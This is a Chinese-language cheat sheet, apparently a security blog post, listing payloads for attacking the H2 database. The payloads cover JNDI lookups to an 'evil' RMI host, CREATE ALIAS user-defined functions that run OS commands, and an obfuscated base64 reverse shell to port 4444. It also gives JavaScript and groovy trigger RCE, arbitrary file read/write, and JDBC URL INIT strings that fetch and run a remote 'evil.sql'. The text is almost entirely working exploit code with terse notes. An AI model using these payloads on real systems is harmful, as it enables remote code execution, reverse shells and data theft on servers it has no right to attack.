H2注入
H2 注入
注入发生在sql语句执行时,换句话说就是先有SQL注入然后才能产生H2注入
LINK_SCHEMA JNDI
命令语句如下:
SELECT * FROM LINK_SCHEMA('p4d0rn', 'javax.naming.InitialContext', 'rmi://127.0.0.1:8025/evil', 'p4d0rn', 'p4d0rn', 'PUBLIC');
UDF RCE
命令语句如下:
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc');
其中的$$用来表示无需转义的长语句.
UDF RCE 有返回值
CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException{
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}$$;
CALL SHELLEXEC('whoami');
反射形式执行命令:
CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();
H2低版本 + lombok
这种情况下只能考虑调用本地的静态方法.
例如使用com.sun.org.apache.xml.internal.security.utils.JavaUtils去进行文件读写:
CREATE ALIAS read FOR 'com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromFile';
SELECT read('E:/flag.txt');
返回的是一个字节数组.
CREATE ALIAS write FOR 'com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';
SELECT write('E:/success.txt', 'Arbitrary File Write');
SELECT write('E:/wirte_hex.txt', X'68657265206973206d7920666c6167')
传的可以是一个hex编码的字符串或是一个普通字符串.
除此以外,还可以去打如下几种,总之都是去调用他的静态方法即可.
java.sql.DriverManager#getConnection连接恶意MySQL服务器javax.naming.InitialContext#doLookupJNDI注入com.alibaba.fastjson.JSON#parseObjectFastJson反序列化org.springframework.util.SerializationUtils.deserialize二次反序列化
JS RCE
要求H2的版本高于1.4.200,注意js代码中不能有分号.
CREATE TABLE hack (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS AFTER INSERT ON hack AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc");';
INSERT INTO hack VALUES (1);
H2 Console Attack
首先如果application.properties中存在如下配置:
spring.h2.console.enable=true
spring.h2.console.setting.web-allow-others=true
可以访问/h2-console路由查看H2管理页面.

设置Driver Class为javajavax.naming.InitialContext设置JDBC URL为jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\,可以构成未授权访问.
H2 JDBC Attack
这种情况一般是URL可控,但是并没有SQL语句的拼接.这种情况只能通过INIT去执行一条SQL语句.
出网利用
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/evil.sql'
.sql是一个纯文本文件,其中的语句可以是上面任何一个,随便捞一个去打就行.
js不出网利用
在我们之前说的H2注入语句中都是通过创建一个UDF表然后执行查询来实现的,因此使用了两个语句,如果想一个语句的话就只能使用一个表.
可以使用js语句去执行,注意js代码中不能有分号.
jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")'
groovy不出网利用
如果存在groovy依赖的话也可以使用下面的poc
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$
H2 2.xxx 利用
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER TRIG_JS BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript Java.type("java.lang.Runtime").getRuntime().exec("calc")$$--

浙公网安备 33010602011771号